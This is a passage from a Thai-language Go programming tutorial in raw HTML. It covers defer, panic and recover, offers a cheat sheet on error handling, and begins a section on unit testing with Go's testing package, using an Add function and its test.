(LIFO)</p><pre><code>func processFile() {
    defer fmt.Println(&quot;3. &#xE1B;&#xE34;&#xE14;&#xE44;&#xE1F;&#xE25;&#xE4C;&quot;)
    defer fmt.Println(&quot;2. &#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE25;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C;&quot;)
    defer fmt.Println(&quot;1. &#xE40;&#xE1B;&#xE34;&#xE14;&#xE44;&#xE1F;&#xE25;&#xE4C;&quot;)

    fmt.Println(&quot;&#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25;...&quot;)
}
// Output:
// &#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25;...
// 1. &#xE40;&#xE1B;&#xE34;&#xE14;&#xE44;&#xE1F;&#xE25;&#xE4C;
// 2. &#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE25;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C;
// 3. &#xE1B;&#xE34;&#xE14;&#xE44;&#xE1F;&#xE25;&#xE4C;</code></pre><p>defer &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE41;&#xE21;&#xE49;&#xE43;&#xE19;&#xE01;&#xE23;&#xE13;&#xE35;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE34;&#xE14; Panic!</p><p><strong>&#xE01;&#xE25;&#xE44;&#xE01;&#xE1E;&#xE34;&#xE40;&#xE28;&#xE29;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A; Error &#xE23;&#xE49;&#xE32;&#xE22;&#xE41;&#xE23;&#xE07;&#xE43;&#xE19;&#xE17;&#xE35;&#xE48;&#xE19;&#xE35;&#xE49;&#xE04;&#xE37;&#xE2D; recover() </strong>&#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE48;&#xE32;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE48; nil &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE01;&#xE34;&#xE14; Panic &#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE0A;&#xE49;&#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE1A; defer &#xE01;&#xE47;&#xE08;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE31;&#xE48;&#xE19;&#xE43;&#xE08;&#xE44;&#xE14;&#xE49;&#xE27;&#xE48;&#xE32;&#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Error &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE01;&#xE34;&#xE14; Panic &#xE42;&#xE14;&#xE22;&#xE17;&#xE35;&#xE48; Program &#xE22;&#xE31;&#xE07;&#xE04;&#xE07;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE44;&#xE14;&#xE49;</p><pre><code>package main

import (
    &quot;fmt&quot;
)

// Function &#xE17;&#xE35;&#xE48;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE23;&#xE49;&#xE32;&#xE22;&#xE41;&#xE23;&#xE07;
func riskyFunction() {
    // defer Function &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE08;&#xE31;&#xE1A; Panic
    defer func() {
        // &#xE43;&#xE0A;&#xE49; recover() &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE08;&#xE31;&#xE1A; Panic
        r := recover()
        if r != nil {
            fmt.Println(&quot;Recovered:&quot;, r)
        }
    }()

    // &#xE08;&#xE33;&#xE25;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE23;&#xE49;&#xE32;&#xE22;&#xE41;&#xE23;&#xE07;&#xE14;&#xE49;&#xE27;&#xE22; Panic
    panic(&quot;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE23;&#xE49;&#xE32;&#xE22;&#xE41;&#xE23;&#xE07;!&quot;)

    // &#xE1A;&#xE23;&#xE23;&#xE17;&#xE31;&#xE14;&#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE44;&#xE21;&#xE48;&#xE16;&#xE39;&#xE01;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01;&#xE40;&#xE01;&#xE34;&#xE14; Panic &#xE01;&#xE48;&#xE2D;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE19;&#xE35;&#xE49;
    fmt.Println(&quot;&#xE1A;&#xE23;&#xE23;&#xE17;&#xE31;&#xE14;&#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE44;&#xE21;&#xE48;&#xE16;&#xE39;&#xE01;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&quot;)
}

func main() {
    // &#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; Function &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE34;&#xE14; panic
    riskyFunction()

    // &#xE41;&#xE2A;&#xE14;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE27;&#xE48;&#xE32;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21;&#xE22;&#xE31;&#xE07;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE14;&#xE49;
    fmt.Println(&quot;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21;&#xE22;&#xE31;&#xE07;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE44;&#xE14;&#xE49;&quot;)
}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-30-at-10.12.18-AM.png" class="kg-image" alt loading="lazy" width="1720" height="70" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-30-at-10.12.18-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-30-at-10.12.18-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/Screenshot-2024-07-30-at-10.12.18-AM.png 1600w, https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-30-at-10.12.18-AM.png 1720w" sizes="(min-width: 720px) 720px"></figure><h3 id="exercise-5"><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>Exercise</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></h3><p>&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Function &#xE17;&#xE35;&#xE48;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14; &#xE41;&#xE25;&#xE30;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE36;&#xE49;&#xE19;</p><p><em><a href="https://forms.gle/86V1LR2AAxrKN7KF6?ref=blog.pjjop.org"><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>Go Quiz </em></em></em></em></em></em></em></em>9</em></em></em></em></em></em></em></a><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em> (</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>15<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em> &#xE02;&#xE49;&#xE2D;) </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE02;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE19;&#xE38;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Quiz &#xE19;&#xE30;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>Q&amp;A?</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><h3 id="%E0%B8%A3%E0%B8%A7%E0%B8%A1-cheat-sheet-error-defer-panic-%E0%B9%81%E0%B8%A5%E0%B8%B0-recover"><em><em><em><em><em><em><em><em>&#xE23;&#xE27;&#xE21; Cheat Sheet</em></em></em></em> </em></em></em>Error, Defer, Panic &#xE41;&#xE25;&#xE30; Recover</em></h3><pre><code>Error, Defer, Panic &#xE41;&#xE25;&#xE30; Recover
-------------------------------

1. &#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE41;&#xE25;&#xE30;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32; Error
   errors.New(&quot;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&quot;)

2. &#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Error
   if err != nil {
       // &#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;
   }

3. Custom Error
   type MyError struct {
       // &#xE1F;&#xE34;&#xE25;&#xE14;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE07;
   }
   func (e *MyError) Error() string {
       return &quot;&#xE04;&#xE33;&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&quot;
   }

4. Defer
   defer function()  // &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01; Function &#xE2B;&#xE25;&#xE31;&#xE01;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE2A;&#xE34;&#xE49;&#xE19;

5. Panic
   panic(&quot;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE23;&#xE49;&#xE32;&#xE22;&#xE41;&#xE23;&#xE07;&quot;)

6. Recover
   defer func() {
       if r := recover(); r != nil {
           // &#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A; Panic
       }
   }()

7. Best Practice
   - &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; error &#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01; Function &#xE17;&#xE35;&#xE48;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;
   - &#xE43;&#xE0A;&#xE49; Custom Error &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE40;&#xE15;&#xE34;&#xE21;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;
   - &#xE43;&#xE0A;&#xE49; Panic &#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE01;&#xE23;&#xE13;&#xE35;&#xE17;&#xE35;&#xE48;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE14;&#xE49;&#xE08;&#xE23;&#xE34;&#xE07;&#xE46;</code></pre><h2 id="%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%97%E0%B8%94%E0%B8%AA%E0%B8%AD%E0%B8%9A%E0%B9%80%E0%B8%9A%E0%B8%B7%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%95%E0%B9%89%E0%B8%99-%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B8%8A%E0%B8%B4%E0%B8%A1%E0%B8%AD%E0%B8%B2%E0%B8%AB%E0%B8%B2%E0%B8%A3%E0%B8%81%E0%B9%88%E0%B8%AD%E0%B8%99%E0%B9%80%E0%B8%AA%E0%B8%B4%E0%B8%A3%E0%B9%8C%E0%B8%9F"><strong><strong>&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE49;&#xE19; : &#xE25;&#xE2D;&#xE07;&#xE0A;&#xE34;&#xE21;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE40;&#xE2A;&#xE34;&#xE23;&#xE4C;&#xE1F;</strong></strong></h2><p>&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Software &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE38;&#xE13;&#xE20;&#xE32;&#xE1E; &#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE31;&#xE48;&#xE19;&#xE43;&#xE08;&#xE27;&#xE48;&#xE32; Code &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE32;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;</p><p><strong>Unit Test</strong> &#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE22;&#xE48;&#xE2D;&#xE22;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14;&#xE02;&#xE2D;&#xE07; Code &#xE0B;&#xE36;&#xE48;&#xE07;&#xE42;&#xE14;&#xE22;&#xE1B;&#xE01;&#xE15;&#xE34;&#xE04;&#xE37;&#xE2D;<strong>&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A; Function &#xE2B;&#xE23;&#xE37;&#xE2D; Method</strong> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE21;&#xE31;&#xE19;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE04;&#xE32;&#xE14;&#xE2B;&#xE27;&#xE31;&#xE07;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;</p><p>&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Unit Test &#xE40;&#xE1B;&#xE47;&#xE19;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE34;&#xE14;&#xE0A;&#xE2D;&#xE1A;&#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE17;&#xE35;&#xE21; &#xE42;&#xE14;&#xE22;&#xE21;&#xE35; Software Developer &#xE40;&#xE1B;&#xE47;&#xE19;&#xE1C;&#xE39;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE34;&#xE14;&#xE0A;&#xE2D;&#xE1A;&#xE2B;&#xE25;&#xE31;&#xE01; &#xE0B;&#xE36;&#xE48;&#xE07; <strong>Software Developer &#xE04;&#xE27;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Unit Test &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Code &#xE17;&#xE35;&#xE48;&#xE15;&#xE19;&#xE40;&#xE2D;&#xE07;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;</strong></p><p>&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Unit Test &#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE32;&#xE23; <strong>Refactor Code</strong> &#xE07;&#xE48;&#xE32;&#xE22;&#xE02;&#xE36;&#xE49;&#xE19; &#xE0B;&#xE36;&#xE48;&#xE07; Refactor Code<strong> </strong>&#xE40;&#xE1B;&#xE47;&#xE19;<strong>&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE38;&#xE07; Code</strong> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE07;&#xE48;&#xE32;&#xE22; &#xE1A;&#xE33;&#xE23;&#xE38;&#xE07;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32;&#xE07;&#xE48;&#xE32;&#xE22; &#xE41;&#xE25;&#xE30;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE21;&#xE32;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19; &#xE42;<strong>&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE1E;&#xE24;&#xE15;&#xE34;&#xE01;&#xE23;&#xE23;&#xE21;&#xE20;&#xE32;&#xE22;&#xE19;&#xE2D;&#xE01;&#xE17;&#xE35;&#xE48;&#xE21;&#xE2D;&#xE07;&#xE40;&#xE2B;&#xE47;&#xE19;&#xE44;&#xE14;&#xE49;</strong> &#xE40;&#xE1E;&#xE23;&#xE32;&#xE30;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Refactor &#xE21;&#xE31;&#xE19;&#xE17;&#xE35;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE27;&#xE19; &#xE41;&#xE25;&#xE30;&#xE23;&#xE31;&#xE19; Test &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE22;&#xE37;&#xE19;&#xE22;&#xE31;&#xE19;&#xE04;&#xE27;&#xE32;&#xE21;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE19;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;</p><p>Go &#xE21;&#xE35; Standard Library &quot;<strong>testing</strong>&quot; &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE17;&#xE33; Unit Test &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Library &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE40;&#xE15;&#xE34;&#xE21;</p><pre><code>// &#xE44;&#xE1F;&#xE25;&#xE4C; internal/math/calculator.go
package math

func Add(a, b int) int {
    return a + b
}

// &#xE44;&#xE1F;&#xE25;&#xE4C; internal/math/calculator_test.go
package math

import &quot;testing&quot;

func TestAdd(t *testing.T) {
    result := Add(2, 3)
    if result != 5 {
        t.Errorf(&quot;Add(2, 3) = %d; want 5&quot;, result)
    }
}</code></pre><p>&#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE40;&#xE23;&#xE32;&#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Package &quot;math&quot; &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Function &quot;Add&quot; &#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; calculator.go</p><p>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE21;&#xE31;&#xE19;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE04;&#xE32;&#xE14;&#xE2B;&#xE27;&#xE31;&#xE07;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48; &#xE40;&#xE23;&#xE32;&#xE08;&#xE36;&#xE07;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Unit Test &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Code &#xE42;&#xE14;&#xE22;<strong>&#xE15;&#xE31;&#xE49;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE25;&#xE07;&#xE17;&#xE49;&#xE32;&#xE22;&#xE14;&#xE49;&#xE27;&#xE22; _test.go</strong> &#xE41;&#xE25;&#xE30;<strong>&#xE40;&#xE01;&#xE47;&#xE1A;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19; Folder &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;&#xE01;&#xE31;&#xE1A; Code &#xE02;&#xE2D;&#xE07; Package</strong> &quot;math&quot; &#xE41;&#xE21;&#xE49;&#xE27;&#xE48;&#xE32;&#xE44;&#xE1F;&#xE25;&#xE4C; Test &#xE08;&#xE30;&#xE44;&#xE21;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE02;&#xE49;&#xE32;&#xE07;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A; Fucntion &#xE17;&#xE35;&#xE48;&#xE08;&#xE30; Test &#xE43;&#xE19; Package &quot;math&quot; &#xE41;&#xE15;&#xE48;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE41;&#xE22;&#xE01;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE15;&#xE32;&#xE21;&#xE01;&#xE25;&#xE38;&#xE48;&#xE21; Function &#xE43;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE40;&#xE01;&#xE34;&#xE14;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE31;&#xE1A;&#xE2A;&#xE19;&#xE43;&#xE19;&#xE20;&#xE32;&#xE22;&#xE2B;&#xE25;&#xE31;&#xE07; &#xE40;&#xE23;&#xE32;&#xE08;&#xE36;&#xE07;&#xE15;&#xE31;&#xE49;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE44;&#xE1F;&#xE25;&#xE4C; Test &#xE40;&#xE1B;&#xE47;&#xE19; calculator_test.go &#xE41;&#xE25;&#xE49;&#xE27;&#xE08;&#xE36;&#xE07;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Test Case</p><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE31;&#xE19; Test &#xE41;&#xE25;&#xE30;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE38;&#xE07; Package &#xE08;&#xE19;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE17;&#xE38;&#xE01; Test Case &#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE04;&#xE32;&#xE14;&#xE2B;&#xE27;&#xE31;&#xE07;&#xE41;&#xE25;&#xE49;&#xE27; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Package &quot;math&quot; &#xE43;&#xE19; main.go &#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;</p><p>Project &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Unit Test &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; &#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE14;&#xE49;&#xE32;&#xE19;&#xE25;&#xE48;&#xE32;&#xE07;</p><pre><code>myproject/
&#x251C;&#x2500;&#x2500; cmd/
&#x2502;   &#x2514;&#x2500;&#x2500; main.go
&#x251C;&#x2500;&#x2500; internal/
&#x2502;   &#x2514;&#x2500;&#x2500; math/
&#x2502;       &#x251C;&#x2500;&#x2500; calculator.go
&#x2502;       &#x2514;&#x2500;&#x2500; calculator_test.go
&#x251C;&#x2500;&#x2500; go.mod
